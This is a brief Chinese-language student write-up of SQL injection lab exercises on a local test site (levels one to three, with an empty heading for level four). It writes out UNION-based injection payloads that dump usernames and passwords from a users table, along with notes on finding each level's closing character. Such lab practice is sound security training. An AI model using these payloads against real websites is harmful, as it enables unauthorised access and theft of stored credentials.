渗透课程练习

第一步进入网站软件，启动Apache和Mysql，这里出了点小插曲，电脑自身的mysl如果没有停止运行就无法启动mysql，找到“服务”后进入寻找mysql停止运行。

第一关

get传参浏览器中输入？id=1

创建价格表

修改php的文件后重新输入id=1

库名列名表明都已知，可直接进行查询

dvwa/Less-1/?id=-1'union select 1,2,group_concat(username,0x3a,password) from users --+

第二关

与第一关的区别在于闭合点没有闭合

http://dvwa/Less-2/?id=-1 union select 1,2,group_concat(0x7e,username,password)from security.users--+

第三关

一开始输入dvwa/Less-3/?id = -1'--+，出现了报错说明可能不用 ' 闭合，可以试着用 ）进行闭合。

成功找到注入点，后续解决跟第一关一样

Less-3/?id=-1') union select 1,2,group_concat(0x7e,username,password)from security.users--+

第四关